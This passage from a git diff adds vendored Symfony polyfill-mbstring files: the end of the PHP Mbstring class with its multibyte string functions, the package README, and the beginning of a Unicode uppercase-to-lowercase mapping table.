self::mb_convert_case($needle, self::MB_CASE_FOLD, $encoding); + + return self::mb_strpos($haystack, $needle, $offset, $encoding); + } + + public static function mb_stristr($haystack, $needle, $part = false, $encoding = null) + { + $pos = self::mb_stripos($haystack, $needle, 0, $encoding); + + return self::getSubpart($pos, $part, $haystack, $encoding); + } + + public static function mb_strrchr($haystack, $needle, $part = false, $encoding = null) + { + $encoding = self::getEncoding($encoding); + if ('CP850' === $encoding || 'ASCII' === $encoding) { + $pos = strrpos($haystack, $needle); + } else { + $needle = self::mb_substr($needle, 0, 1, $encoding); + $pos = iconv_strrpos($haystack, $needle, $encoding); + } + + return self::getSubpart($pos, $part, $haystack, $encoding); + } + + public static function mb_strrichr($haystack, $needle, $part = false, $encoding = null) + { + $needle = self::mb_substr($needle, 0, 1, $encoding); + $pos = self::mb_strripos($haystack, $needle, $encoding); + + return self::getSubpart($pos, $part, $haystack, $encoding); + } + + public static function mb_strripos($haystack, $needle, $offset = 0, $encoding = null) + { + $haystack = self::mb_convert_case($haystack, self::MB_CASE_FOLD, $encoding); + $needle = self::mb_convert_case($needle, self::MB_CASE_FOLD, $encoding); + + return self::mb_strrpos($haystack, $needle, $offset, $encoding); + } + + public static function mb_strstr($haystack, $needle, $part = false, $encoding = null) + { + $pos = strpos($haystack, $needle); + if (false === $pos) { + return false; + } + if ($part) { + return substr($haystack, 0, $pos); + } + + return substr($haystack, $pos); + } + + public static function mb_get_info($type = 'all') + { + $info = array( + 'internal_encoding' => self::$internalEncoding, + 'http_output' => 'pass', + 'http_output_conv_mimetypes' => '^(text/|application/xhtml\+xml)', + 'func_overload' => 0, + 'func_overload_list' => 'no overload', + 'mail_charset' => 'UTF-8', + 'mail_header_encoding' => 'BASE64', + 'mail_body_encoding' => 'BASE64', + 'illegal_chars' => 0, + 'encoding_translation' => 'Off', + 'language' => self::$language, + 'detect_order' => self::$encodingList, + 'substitute_character' => 'none', + 'strict_detection' => 'Off', + ); + + if ('all' === $type) { + return $info; + } + if (isset($info[$type])) { + return $info[$type]; + } + + return false; + } + + public static function mb_http_input($type = '') + { + return false; + } + + public static function mb_http_output($encoding = null) + { + return null !== $encoding ? 'pass' === $encoding : 'pass'; + } + + public static function mb_strwidth($s, $encoding = null) + { + $encoding = self::getEncoding($encoding); + + if ('UTF-8' !== $encoding) { + $s = iconv($encoding, 'UTF-8//IGNORE', $s); + } + + $s = preg_replace('/[\x{1100}-\x{115F}\x{2329}\x{232A}\x{2E80}-\x{303E}\x{3040}-\x{A4CF}\x{AC00}-\x{D7A3}\x{F900}-\x{FAFF}\x{FE10}-\x{FE19}\x{FE30}-\x{FE6F}\x{FF00}-\x{FF60}\x{FFE0}-\x{FFE6}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}]/u', '', $s, -1, $wide); + + return ($wide << 1) + iconv_strlen($s, 'UTF-8'); + } + + public static function mb_substr_count($haystack, $needle, $encoding = null) + { + return substr_count($haystack, $needle); + } + + public static function mb_output_handler($contents, $status) + { + return $contents; + } + + public static function mb_chr($code, $encoding = null) + { + if (0x80 > $code %= 0x200000) { + $s = \chr($code); + } elseif (0x800 > $code) { + $s = \chr(0xC0 | $code >> 6).\chr(0x80 | $code & 0x3F); + } elseif (0x10000 > $code) { + $s = \chr(0xE0 | $code >> 12).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); + } else { + $s = \chr(0xF0 | $code >> 18).\chr(0x80 | $code >> 12 & 0x3F).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); + } + + if ('UTF-8' !== $encoding = self::getEncoding($encoding)) { + $s = mb_convert_encoding($s, $encoding, 'UTF-8'); + } + + return $s; + } + + public static function mb_ord($s, $encoding = null) + { + if ('UTF-8' !== $encoding = self::getEncoding($encoding)) { + $s = mb_convert_encoding($s, 'UTF-8', $encoding); + } + + if (1 === \strlen($s)) { + return \ord($s); + } + + $code = ($s = unpack('C*', substr($s, 0, 4))) ? $s[1] : 0; + if (0xF0 <= $code) { + return (($code - 0xF0) << 18) + (($s[2] - 0x80) << 12) + (($s[3] - 0x80) << 6) + $s[4] - 0x80; + } + if (0xE0 <= $code) { + return (($code - 0xE0) << 12) + (($s[2] - 0x80) << 6) + $s[3] - 0x80; + } + if (0xC0 <= $code) { + return (($code - 0xC0) << 6) + $s[2] - 0x80; + } + + return $code; + } + + private static function getSubpart($pos, $part, $haystack, $encoding) + { + if (false === $pos) { + return false; + } + if ($part) { + return self::mb_substr($haystack, 0, $pos, $encoding); + } + + return self::mb_substr($haystack, $pos, null, $encoding); + } + + private static function html_encoding_callback(array $m) + { + $i = 1; + $entities = ''; + $m = unpack('C*', htmlentities($m[0], ENT_COMPAT, 'UTF-8')); + + while (isset($m[$i])) { + if (0x80 > $m[$i]) { + $entities .= \chr($m[$i++]); + continue; + } + if (0xF0 <= $m[$i]) { + $c = (($m[$i++] - 0xF0) << 18) + (($m[$i++] - 0x80) << 12) + (($m[$i++] - 0x80) << 6) + $m[$i++] - 0x80; + } elseif (0xE0 <= $m[$i]) { + $c = (($m[$i++] - 0xE0) << 12) + (($m[$i++] - 0x80) << 6) + $m[$i++] - 0x80; + } else { + $c = (($m[$i++] - 0xC0) << 6) + $m[$i++] - 0x80; + } + + $entities .= '&#'.$c.';'; + } + + return $entities; + } + + private static function title_case(array $s) + { + return self::mb_convert_case($s[1], MB_CASE_UPPER, 'UTF-8').self::mb_convert_case($s[2], MB_CASE_LOWER, 'UTF-8'); + } + + private static function getData($file) + { + if (file_exists($file = __DIR__.'/Resources/unidata/'.$file.'.php')) { + return require $file; + } + + return false; + } + + private static function getEncoding($encoding) + { + if (null === $encoding) { + return self::$internalEncoding; + } + + if ('UTF-8' === $encoding) { + return 'UTF-8'; + } + + $encoding = strtoupper($encoding); + + if ('8BIT' === $encoding || 'BINARY' === $encoding) { + return 'CP850'; + } + + if ('UTF8' === $encoding) { + return 'UTF-8'; + } + + return $encoding; + } +} diff --git a/vendor/symfony/polyfill-mbstring/README.md b/vendor/symfony/polyfill-mbstring/README.md new file mode 100644 index 0000000..4efb599 --- /dev/null +++ b/vendor/symfony/polyfill-mbstring/README.md @@ -0,0 +1,13 @@ +Symfony Polyfill / Mbstring +=========================== + +This component provides a partial, native PHP implementation for the +[Mbstring](https://php.net/mbstring) extension. + +More information can be found in the +[main Polyfill README](https://github.com/symfony/polyfill/blob/master/README.md). + +License +======= + +This library is released under the [MIT license](LICENSE). diff --git a/vendor/symfony/polyfill-mbstring/Resources/unidata/lowerCase.php b/vendor/symfony/polyfill-mbstring/Resources/unidata/lowerCase.php new file mode 100644 index 0000000..a22eca5 --- /dev/null +++ b/vendor/symfony/polyfill-mbstring/Resources/unidata/lowerCase.php @@ -0,0 +1,1397 @@ + 'a', + 'B' => 'b', + 'C' => 'c', + 'D' => 'd', + 'E' => 'e', + 'F' => 'f', + 'G' => 'g', + 'H' => 'h', + 'I' => 'i', + 'J' => 'j', + 'K' => 'k', + 'L' => 'l', + 'M' => 'm', + 'N' => 'n', + 'O' => 'o', + 'P' => 'p', + 'Q' => 'q', + 'R' => 'r', + 'S' => 's', + 'T' => 't', + 'U' => 'u', + 'V' => 'v', + 'W' => 'w', + 'X' => 'x', + 'Y' => 'y', + 'Z' => 'z', + 'À' => 'à', + 'Á' => 'á', + 'Â' => 'â', + 'Ã' => 'ã', + 'Ä' => 'ä', + 'Å' => 'å', + 'Æ' => 'æ', + 'Ç' => 'ç', + 'È' => 'è', + 'É' => 'é', + 'Ê' => 'ê', + 'Ë' => 'ë', + 'Ì' => 'ì', + 'Í' => 'í', + 'Î' => 'î', + 'Ï' => 'ï', + 'Ð' => 'ð', + 'Ñ' => 'ñ', + 'Ò' => 'ò', + 'Ó' => 'ó', + 'Ô' => 'ô', + 'Õ' => 'õ', + 'Ö' => 'ö', + 'Ø' => 'ø', + 'Ù' => 'ù', + 'Ú' => 'ú', + 'Û' => 'û', + 'Ü' => 'ü', + 'Ý' => 'ý', + 'Þ' => 'þ', + 'Ā' => 'ā', + 'Ă' => 'ă', + 'Ą' => 'ą', + 'Ć' => 'ć', + 'Ĉ' => 'ĉ', + 'Ċ' => 'ċ', + 'Č' => 'č', + 'Ď' => 'ď', + 'Đ' => 'đ', + 'Ē' => 'ē', + 'Ĕ' => 'ĕ', + 'Ė' => 'ė', + 'Ę' => 'ę', + 'Ě' => 'ě', + 'Ĝ' => 'ĝ', + 'Ğ' => 'ğ', + 'Ġ' => 'ġ', + 'Ģ' => 'ģ', + 'Ĥ' => 'ĥ', + 'Ħ' => 'ħ', + 'Ĩ' => 'ĩ', + 'Ī' => 'ī', + 'Ĭ' => 'ĭ', + 'Į' => 'į', + 'İ' => 'i', + 'IJ' => 'ij', + 'Ĵ' => 'ĵ', + 'Ķ' => 'ķ', + 'Ĺ' => 'ĺ', + 'Ļ' => 'ļ', + 'Ľ' => 'ľ', + 'Ŀ' => 'ŀ', + 'Ł' => 'ł', + 'Ń' => 'ń', + 'Ņ' => 'ņ', + 'Ň' => 'ň', + 'Ŋ' => 'ŋ', + 'Ō' => 'ō', + 'Ŏ' => 'ŏ', + 'Ő' => 'ő', + 'Œ' => 'œ', + 'Ŕ' => 'ŕ', + 'Ŗ' => 'ŗ', + 'Ř' => 'ř', + 'Ś' => 'ś', + 'Ŝ' => 'ŝ', + 'Ş' => 'ş', + 'Š' => 'š', + 'Ţ' => 'ţ', + 'Ť' => 'ť', + 'Ŧ' => 'ŧ', + 'Ũ' => 'ũ', + 'Ū' => 'ū', + 'Ŭ' => 'ŭ', + 'Ů' => 'ů', + 'Ű' => 'ű', + 'Ų' => 'ų', + 'Ŵ' => 'ŵ', + 'Ŷ' => 'ŷ', + 'Ÿ' => 'ÿ', + 'Ź' => 'ź', + 'Ż' => 'ż', + 'Ž' => 'ž', + 'Ɓ' => 'ɓ', + 'Ƃ' => 'ƃ', + 'Ƅ' => 'ƅ', + 'Ɔ' => 'ɔ', + 'Ƈ' => 'ƈ', + 'Ɖ' => 'ɖ', + 'Ɗ' => 'ɗ', + 'Ƌ' => 'ƌ', + 'Ǝ' => 'ǝ', + 'Ə' => 'ə', + 'Ɛ' => 'ɛ', + 'Ƒ' => 'ƒ', + 'Ɠ' => 'ɠ', + 'Ɣ' => 'ɣ', + 'Ɩ' => 'ɩ', + 'Ɨ' => 'ɨ', + 'Ƙ' => 'ƙ', + 'Ɯ' => 'ɯ', + 'Ɲ' => 'ɲ', + 'Ɵ' => 'ɵ', + 'Ơ' => 'ơ', + 'Ƣ' => 'ƣ', + 'Ƥ' => 'ƥ', + 'Ʀ' => 'ʀ', + 'Ƨ' => 'ƨ', + 'Ʃ' => 'ʃ', + 'Ƭ' => 'ƭ', + 'Ʈ' => 'ʈ', + 'Ư' => 'ư', + 'Ʊ' => 'ʊ', + 'Ʋ' => 'ʋ', + 'Ƴ' => 'ƴ', + 'Ƶ' => 'ƶ', + 'Ʒ' => 'ʒ', + 'Ƹ' => 'ƹ', + 'Ƽ' => 'ƽ', + 'DŽ' => 'dž', + 'Dž' => 'dž', + 'LJ' => 'lj', + 'Lj' => 'lj', + 'NJ' => 'nj', + 'Nj' => 'nj', + 'Ǎ' => 'ǎ', + 'Ǐ' => 'ǐ', + 'Ǒ' => 'ǒ', + 'Ǔ' => 'ǔ', + 'Ǖ' => 'ǖ', + 'Ǘ' => 'ǘ', + 'Ǚ' => 'ǚ', + 'Ǜ' => 'ǜ', + 'Ǟ' => 'ǟ', + 'Ǡ' => 'ǡ', + 'Ǣ' => 'ǣ', + 'Ǥ' => 'ǥ', + 'Ǧ' => 'ǧ', + 'Ǩ' => 'ǩ', + 'Ǫ' => 'ǫ', + 'Ǭ' => 'ǭ', + 'Ǯ' => 'ǯ', + 'DZ' => 'dz', + 'Dz' => 'dz', + 'Ǵ' => 'ǵ', + 'Ƕ' => 'ƕ', + 'Ƿ' => 'ƿ', + 'Ǹ' => 'ǹ', + 'Ǻ' => 'ǻ', + 'Ǽ' => 'ǽ', + 'Ǿ' => 'ǿ', + 'Ȁ' => 'ȁ', + 'Ȃ' => 'ȃ', + 'Ȅ' => 'ȅ', + 'Ȇ' => 'ȇ', + 'Ȉ' => 'ȉ', + 'Ȋ' => 'ȋ', + 'Ȍ' => 'ȍ', + 'Ȏ' => 'ȏ', + 'Ȑ' => 'ȑ', + 'Ȓ' => 'ȓ', + 'Ȕ' => 'ȕ', + 'Ȗ' => 'ȗ', + 'Ș' => 'ș', + 'Ț' => 'ț', + 'Ȝ' => 'ȝ', + 'Ȟ' => 'ȟ', + 'Ƞ' => 'ƞ', + 'Ȣ' => 'ȣ', + 'Ȥ' => 'ȥ', + 'Ȧ' => 'ȧ', + 'Ȩ' => 'ȩ', + 'Ȫ' => 'ȫ', + 'Ȭ' => 'ȭ', + 'Ȯ' => 'ȯ', + 'Ȱ' => 'ȱ', + 'Ȳ' => 'ȳ', + 'Ⱥ' => 'ⱥ', + 'Ȼ' => 'ȼ', + 'Ƚ' => 'ƚ', + 'Ⱦ' => 'ⱦ', + 'Ɂ' => 'ɂ', + 'Ƀ' => 'ƀ', + 'Ʉ' => 'ʉ', + 'Ʌ' => 'ʌ', + 'Ɇ' => 'ɇ', + 'Ɉ' => 'ɉ', + 'Ɋ' => 'ɋ', + 'Ɍ' => 'ɍ', + 'Ɏ' => 'ɏ', + 'Ͱ' => 'ͱ', + 'Ͳ' => 'ͳ', + 'Ͷ' => 'ͷ', + 'Ϳ' => 'ϳ', + 'Ά' => 'ά', + 'Έ' => 'έ', + 'Ή' => 'ή', + 'Ί' => 'ί', + 'Ό' => 'ό', + 'Ύ' => 'ύ', + 'Ώ' => 'ώ', + 'Α' => 'α', + 'Β' => 'β', + 'Γ' => 'γ', + 'Δ' => 'δ', + 'Ε' => 'ε', + 'Ζ' => 'ζ', + 'Η' => 'η', + 'Θ' => 'θ', + 'Ι' => 'ι', + 'Κ' => 'κ', + 'Λ' => 'λ', + 'Μ' => 'μ', + 'Ν' => 'ν', + 'Ξ' => 'ξ', + 'Ο' => 'ο', + 'Π' => 'π', + 'Ρ' => 'ρ', + 'Σ' => 'σ', + 'Τ' => 'τ', + 'Υ' => 'υ', + 'Φ' => 'φ', + 'Χ' => 'χ', + 'Ψ' => 'ψ', + 'Ω' => 'ω', + 'Ϊ' => 'ϊ', + 'Ϋ' => 'ϋ', + 'Ϗ' => 'ϗ', + 'Ϙ' => 'ϙ', + 'Ϛ' => 'ϛ', + 'Ϝ' => 'ϝ', + 'Ϟ' => 'ϟ', + 'Ϡ' => 'ϡ', + 'Ϣ' => 'ϣ', + 'Ϥ' => 'ϥ', + 'Ϧ' => 'ϧ', + 'Ϩ' => 'ϩ', + 'Ϫ' => 'ϫ', + 'Ϭ' => 'ϭ', + 'Ϯ' => 'ϯ', + 'ϴ' => 'θ', + 'Ϸ' => 'ϸ', + 'Ϲ' => 'ϲ', + 'Ϻ' => 'ϻ', + 'Ͻ' => 'ͻ', + 'Ͼ' => 'ͼ', + 'Ͽ' => 'ͽ', + 'Ѐ' => 'ѐ', + 'Ё' => 'ё', + 'Ђ' => 'ђ', + 'Ѓ' => 'ѓ', + 'Є' => 'є', + 'Ѕ' => 'ѕ', + 'І' => 'і', + 'Ї' => 'ї', + 'Ј' => 'ј', + 'Љ' => 'љ', + 'Њ' => 'њ', + 'Ћ' => 'ћ', + 'Ќ' => 'ќ', + 'Ѝ' => 'ѝ', + 'Ў' => 'ў', + 'Џ' => 'џ', + 'А' => 'а', + 'Б' => 'б', + 'В' => 'в', + 'Г' => 'г', + 'Д' => 'д', + 'Е' => 'е', + 'Ж' => 'ж', + 'З' => 'з', + 'И' => 'и', + 'Й' => 'й', + 'К' => 'к', + 'Л' => 'л', + 'М' => 'м', + 'Н' => 'н', + 'О' => 'о', + 'П' => 'п', + 'Р' => 'р', + 'С' => 'с', + 'Т' => 'т', + 'У' => 'у', + 'Ф' => 'ф', + 'Х' => 'х', + 'Ц' => 'ц', + 'Ч' => 'ч', + 'Ш' => 'ш', + 'Щ' => 'щ', + 'Ъ' => 'ъ', + 'Ы' => 'ы', + 'Ь' => 'ь', + 'Э' => 'э', + 'Ю' => 'ю', + 'Я' => 'я', + 'Ѡ' => 'ѡ', + 'Ѣ' => 'ѣ', + 'Ѥ' => 'ѥ', + 'Ѧ' => 'ѧ', + 'Ѩ' => 'ѩ', + 'Ѫ' => 'ѫ', + 'Ѭ' => 'ѭ', + 'Ѯ' => 'ѯ', + 'Ѱ' => 'ѱ', + 'Ѳ' => 'ѳ', + 'Ѵ' => 'ѵ', + 'Ѷ' => 'ѷ', + 'Ѹ' => 'ѹ', + 'Ѻ' => 'ѻ', + 'Ѽ' => 'ѽ', + 'Ѿ' => 'ѿ', + 'Ҁ' => 'ҁ', + 'Ҋ' => 'ҋ', + 'Ҍ' => 'ҍ', + 'Ҏ' => 'ҏ', + 'Ґ' => 'ґ', + 'Ғ' => 'ғ', + 'Ҕ' => 'ҕ', + 'Җ' => 'җ', + 'Ҙ' => 'ҙ', + 'Қ' => 'қ', + 'Ҝ' => 'ҝ', + 'Ҟ' => 'ҟ', + 'Ҡ' => 'ҡ', + 'Ң' => 'ң', + 'Ҥ' => 'ҥ', + 'Ҧ' => 'ҧ', + 'Ҩ' => 'ҩ', + 'Ҫ' => 'ҫ', + 'Ҭ' => 'ҭ', + 'Ү' => 'ү', + 'Ұ' => 'ұ', + 'Ҳ' => 'ҳ', + 'Ҵ' => 'ҵ', + 'Ҷ' => 'ҷ', + 'Ҹ' => 'ҹ', + 'Һ' => 'һ', + 'Ҽ' => 'ҽ', + 'Ҿ' => 'ҿ', + 'Ӏ' => 'ӏ', + 'Ӂ' => 'ӂ', + 'Ӄ' => 'ӄ', + 'Ӆ' => 'ӆ', + 'Ӈ' => 'ӈ', + 'Ӊ' => 'ӊ', + 'Ӌ' => 'ӌ', + 'Ӎ' => 'ӎ', + 'Ӑ' => 'ӑ', + 'Ӓ' => 'ӓ', + 'Ӕ' => 'ӕ', + 'Ӗ' => 'ӗ', + 'Ә' => 'ә', + 'Ӛ' => 'ӛ', + 'Ӝ' => 'ӝ', + 'Ӟ' => 'ӟ', + 'Ӡ' => 'ӡ', + 'Ӣ' => 'ӣ', + 'Ӥ' => 'ӥ', + 'Ӧ' => 'ӧ', + 'Ө' => 'ө', + 'Ӫ' => 'ӫ', + 'Ӭ' => 'ӭ', + 'Ӯ' => 'ӯ', + 'Ӱ' => 'ӱ', + 'Ӳ' => 'ӳ', + 'Ӵ' => 'ӵ', + 'Ӷ' => 'ӷ', + 'Ӹ' => 'ӹ', + 'Ӻ' => 'ӻ', + 'Ӽ' => 'ӽ', + 'Ӿ' => 'ӿ', + 'Ԁ' => 'ԁ', + 'Ԃ' => 'ԃ', + 'Ԅ' => 'ԅ', + 'Ԇ' => 'ԇ', + 'Ԉ' => 'ԉ', + 'Ԋ' => 'ԋ', + 'Ԍ' => 'ԍ', + 'Ԏ' => 'ԏ', + 'Ԑ' => 'ԑ', + 'Ԓ' => 'ԓ', + 'Ԕ' => 'ԕ', + 'Ԗ' => 'ԗ', + 'Ԙ' => 'ԙ', + 'Ԛ' => 'ԛ', + 'Ԝ' => 'ԝ', + 'Ԟ' => 'ԟ', + 'Ԡ' => 'ԡ', + 'Ԣ' => 'ԣ', + 'Ԥ' => 'ԥ', + 'Ԧ' => 'ԧ', + 'Ԩ' => 'ԩ', + 'Ԫ' => 'ԫ', + 'Ԭ' => 'ԭ', + 'Ԯ' => 'ԯ', + 'Ա' => 'ա', + 'Բ' => 'բ', + 'Գ' => 'գ', + 'Դ' => 'դ', + 'Ե' => 'ե', + 'Զ' => 'զ', + 'Է' => 'է', + 'Ը' => 'ը', + 'Թ' => 'թ', + 'Ժ' => 'ժ', + 'Ի' => 'ի', + 'Լ' => 'լ', + 'Խ' => 'խ', + 'Ծ' => 'ծ', + 'Կ' => 'կ', + 'Հ' => 'հ', + 'Ձ' => 'ձ', + 'Ղ' => 'ղ', + 'Ճ' => 'ճ', + 'Մ' => 'մ', + 'Յ' => 'յ', + 'Ն' => 'ն', + 'Շ' => 'շ', + 'Ո' => 'ո', + 'Չ' => 'չ', + 'Պ' => 'պ', + 'Ջ' => 'ջ', + 'Ռ' => 'ռ', + 'Ս' => 'ս', + 'Վ' => 'վ', + 'Տ' => 'տ', + 'Ր' => 'ր', + 'Ց' => 'ց', + 'Ւ' => 'ւ', + 'Փ' => 'փ', + 'Ք' => 'ք', + 'Օ' => 'օ', + 'Ֆ' => 'ֆ', + 'Ⴀ' => 'ⴀ', + 'Ⴁ' => 'ⴁ', + 'Ⴂ' => 'ⴂ', + 'Ⴃ' => 'ⴃ', + 'Ⴄ' => 'ⴄ', + 'Ⴅ' => 'ⴅ', + 'Ⴆ' => 'ⴆ', + 'Ⴇ' => 'ⴇ', + 'Ⴈ' => 'ⴈ', + 'Ⴉ' => 'ⴉ', + 'Ⴊ' => 'ⴊ', + 'Ⴋ' => 'ⴋ', + 'Ⴌ' => 'ⴌ', + 'Ⴍ' => 'ⴍ', + 'Ⴎ' => 'ⴎ', + 'Ⴏ' => 'ⴏ', + 'Ⴐ' => 'ⴐ', + 'Ⴑ' => 'ⴑ', + 'Ⴒ' => 'ⴒ', + 'Ⴓ' => 'ⴓ', + 'Ⴔ' => 'ⴔ', + 'Ⴕ' => 'ⴕ', + 'Ⴖ' => 'ⴖ', + 'Ⴗ' => 'ⴗ', + 'Ⴘ' => 'ⴘ', + 'Ⴙ' => 'ⴙ', + 'Ⴚ' => 'ⴚ', + 'Ⴛ' => 'ⴛ', + 'Ⴜ' => 'ⴜ', + 'Ⴝ' => 'ⴝ', + 'Ⴞ' => 'ⴞ', + 'Ⴟ' => 'ⴟ', + 'Ⴠ' => 'ⴠ', + 'Ⴡ' => 'ⴡ', + 'Ⴢ' => 'ⴢ', + 'Ⴣ' => 'ⴣ', + 'Ⴤ' => 'ⴤ', + 'Ⴥ' => 'ⴥ', + 'Ⴧ' => 'ⴧ', + 'Ⴭ' => 'ⴭ', + 'Ꭰ' => 'ꭰ', + 'Ꭱ' => 'ꭱ', + 'Ꭲ' => 'ꭲ', + 'Ꭳ' => 'ꭳ', + 'Ꭴ' => 'ꭴ', + 'Ꭵ' => 'ꭵ', + 'Ꭶ' => 'ꭶ', + 'Ꭷ' => 'ꭷ', + 'Ꭸ' => 'ꭸ', + 'Ꭹ' => 'ꭹ', + 'Ꭺ' => 'ꭺ', + 'Ꭻ' => 'ꭻ', + 'Ꭼ' => 'ꭼ', + 'Ꭽ' => 'ꭽ', + 'Ꭾ' => 'ꭾ', + 'Ꭿ' => 'ꭿ', + 'Ꮀ' => 'ꮀ', + 'Ꮁ' => 'ꮁ', + 'Ꮂ' => 'ꮂ', + 'Ꮃ' => 'ꮃ', + 'Ꮄ' => 'ꮄ', + 'Ꮅ' => 'ꮅ', + 'Ꮆ' => 'ꮆ', + 'Ꮇ' => 'ꮇ', + 'Ꮈ' => 'ꮈ', + 'Ꮉ' => 'ꮉ', + 'Ꮊ' => 'ꮊ', + 'Ꮋ' => 'ꮋ', + 'Ꮌ' => 'ꮌ', + 'Ꮍ' => 'ꮍ', + 'Ꮎ' => 'ꮎ', + 'Ꮏ' => 'ꮏ', + 'Ꮐ' => 'ꮐ', + 'Ꮑ' => 'ꮑ', + 'Ꮒ' => 'ꮒ', + 'Ꮓ' => 'ꮓ', + 'Ꮔ' => 'ꮔ', + 'Ꮕ' => 'ꮕ', + 'Ꮖ' => 'ꮖ', + 'Ꮗ' => 'ꮗ', + 'Ꮘ' => 'ꮘ', + 'Ꮙ' => 'ꮙ', + 'Ꮚ' => 'ꮚ', + 'Ꮛ' => 'ꮛ', + 'Ꮜ' => 'ꮜ', + 'Ꮝ' => 'ꮝ', + 'Ꮞ' => 'ꮞ', + 'Ꮟ' => 'ꮟ', + 'Ꮠ' => 'ꮠ', + 'Ꮡ' => 'ꮡ', + 'Ꮢ' => 'ꮢ', + 'Ꮣ' => 'ꮣ', + 'Ꮤ' => 'ꮤ', + 'Ꮥ' => 'ꮥ', + 'Ꮦ' => 'ꮦ', + 'Ꮧ' => 'ꮧ', + 'Ꮨ' => 'ꮨ', + 'Ꮩ' => 'ꮩ', + 'Ꮪ' => 'ꮪ', + 'Ꮫ' => 'ꮫ', + 'Ꮬ' => 'ꮬ', + 'Ꮭ' => 'ꮭ', + 'Ꮮ' => 'ꮮ', + 'Ꮯ' => 'ꮯ', + 'Ꮰ' => 'ꮰ', + 'Ꮱ' => 'ꮱ', + 'Ꮲ' => 'ꮲ', + 'Ꮳ' => 'ꮳ', + 'Ꮴ' => 'ꮴ', + 'Ꮵ' => 'ꮵ', + 'Ꮶ' => 'ꮶ', + 'Ꮷ' => 'ꮷ', + 'Ꮸ' => 'ꮸ', + 'Ꮹ' => 'ꮹ', + 'Ꮺ' => 'ꮺ', + 'Ꮻ' => 'ꮻ', + 'Ꮼ' => 'ꮼ', + 'Ꮽ' => 'ꮽ', + 'Ꮾ' => 'ꮾ', + 'Ꮿ' => 'ꮿ', + 'Ᏸ' => 'ᏸ', + 'Ᏹ' => 'ᏹ', + 'Ᏺ' => 'ᏺ', + 'Ᏻ' => 'ᏻ', + 'Ᏼ' => 'ᏼ', + 'Ᏽ' => 'ᏽ', + 'Ა' => 'ა', + 'Ბ' => 'ბ', + 'Გ' => 'გ', + 'Დ' => 'დ', + 'Ე' => 'ე', + 'Ვ' => 'ვ', + 'Ზ' => 'ზ', + 'Თ' => 'თ', + 'Ი' => 'ი', + 'Კ' => 'კ', + 'Ლ' => 'ლ', + 'Მ' => 'მ', + 'Ნ' => 'ნ', + 'Ო' => 'ო', + 'Პ' => 'პ', + 'Ჟ' => 'ჟ', + 'Რ' => 'რ', + 'Ს' => 'ს', + 'Ტ' => 'ტ', + 'Უ' => 'უ', + 'Ფ' => 'ფ', + 'Ქ' => 'ქ', + 'Ღ' => 'ღ', + 'Ყ' => 'ყ', + 'Შ' => 'შ', + 'Ჩ' => 'ჩ', + 'Ც' => 'ც', + 'Ძ' => 'ძ', + 'Წ' => 'წ', + 'Ჭ' => 'ჭ', + 'Ხ' => 'ხ', + 'Ჯ' => 'ჯ', + 'Ჰ' => 'ჰ', + 'Ჱ' => 'ჱ', + 'Ჲ' => 'ჲ', + 'Ჳ' => 'ჳ', + 'Ჴ' => 'ჴ', + 'Ჵ' => 'ჵ', + 'Ჶ' => 'ჶ', + 'Ჷ' => 'ჷ', + 'Ჸ' => 'ჸ', + 'Ჹ' => 'ჹ', + 'Ჺ' => 'ჺ', + 'Ჽ' => 'ჽ', + 'Ჾ' => 'ჾ', + 'Ჿ' => 'ჿ', + 'Ḁ' => 'ḁ', + 'Ḃ' => 'ḃ', + 'Ḅ' => 'ḅ', + 'Ḇ' => 'ḇ', + 'Ḉ' => 'ḉ', + 'Ḋ' => 'ḋ', + 'Ḍ' => 'ḍ', + 'Ḏ' => 'ḏ', + 'Ḑ' => 'ḑ', + 'Ḓ' => 'ḓ', + 'Ḕ' => 'ḕ', + 'Ḗ' => 'ḗ', + 'Ḙ' => 'ḙ', + 'Ḛ' => 'ḛ', + 'Ḝ' => 'ḝ', + 'Ḟ' => 'ḟ', + 'Ḡ' => 'ḡ', + 'Ḣ' => 'ḣ', + 'Ḥ' => 'ḥ', + 'Ḧ' => 'ḧ', + 'Ḩ' => 'ḩ', + 'Ḫ' => 'ḫ', + 'Ḭ' => 'ḭ', + 'Ḯ' => 'ḯ', + 'Ḱ' => 'ḱ', + 'Ḳ' => 'ḳ', + 'Ḵ' => 'ḵ', + 'Ḷ' => 'ḷ', + 'Ḹ' => 'ḹ', + 'Ḻ' => 'ḻ', + 'Ḽ' => 'ḽ', + 'Ḿ' => 'ḿ', + 'Ṁ' => 'ṁ', + 'Ṃ' => 'ṃ', + 'Ṅ' => 'ṅ', + 'Ṇ' => 'ṇ', + 'Ṉ' => 'ṉ', + 'Ṋ' => 'ṋ', + 'Ṍ' => 'ṍ', + 'Ṏ' => 'ṏ', + 'Ṑ' => 'ṑ', + 'Ṓ' => 'ṓ', + 'Ṕ' => 'ṕ', + 'Ṗ' => 'ṗ', + 'Ṙ' => 'ṙ', + 'Ṛ' => 'ṛ', + 'Ṝ' => 'ṝ', + 'Ṟ' => 'ṟ', + 'Ṡ' => 'ṡ', + 'Ṣ' => 'ṣ', + 'Ṥ' => 'ṥ', + 'Ṧ' => 'ṧ', + 'Ṩ' => 'ṩ', + 'Ṫ' => 'ṫ', + 'Ṭ' => 'ṭ', + 'Ṯ' => 'ṯ', + 'Ṱ' => 'ṱ', + 'Ṳ' => 'ṳ', + 'Ṵ' => 'ṵ', + 'Ṷ' => 'ṷ', + 'Ṹ' => 'ṹ', + 'Ṻ' => 'ṻ', + 'Ṽ' => 'ṽ', + 'Ṿ' => 'ṿ', + 'Ẁ' => 'ẁ', + 'Ẃ' => 'ẃ', + 'Ẅ' => 'ẅ', + 'Ẇ' => 'ẇ', + 'Ẉ' => 'ẉ', + 'Ẋ' => 'ẋ', + 'Ẍ' => 'ẍ', + 'Ẏ' => 'ẏ', + 'Ẑ' => 'ẑ', + 'Ẓ' => 'ẓ', + 'Ẕ' => 'ẕ', + 'ẞ' => 'ß', + 'Ạ' => 'ạ', + 'Ả' => 'ả', + 'Ấ' => 'ấ', + 'Ầ' => 'ầ', + 'Ẩ' => 'ẩ', + 'Ẫ' => 'ẫ', + 'Ậ' => 'ậ', + 'Ắ' => 'ắ', + 'Ằ' => 'ằ', + 'Ẳ' => 'ẳ', + 'Ẵ' => 'ẵ', + 'Ặ' => 'ặ', + 'Ẹ' => 'ẹ', + 'Ẻ' => 'ẻ', + 'Ẽ' => 'ẽ', + 'Ế' => 'ế', + 'Ề' => 'ề', + 'Ể' => 'ể', + 'Ễ' => 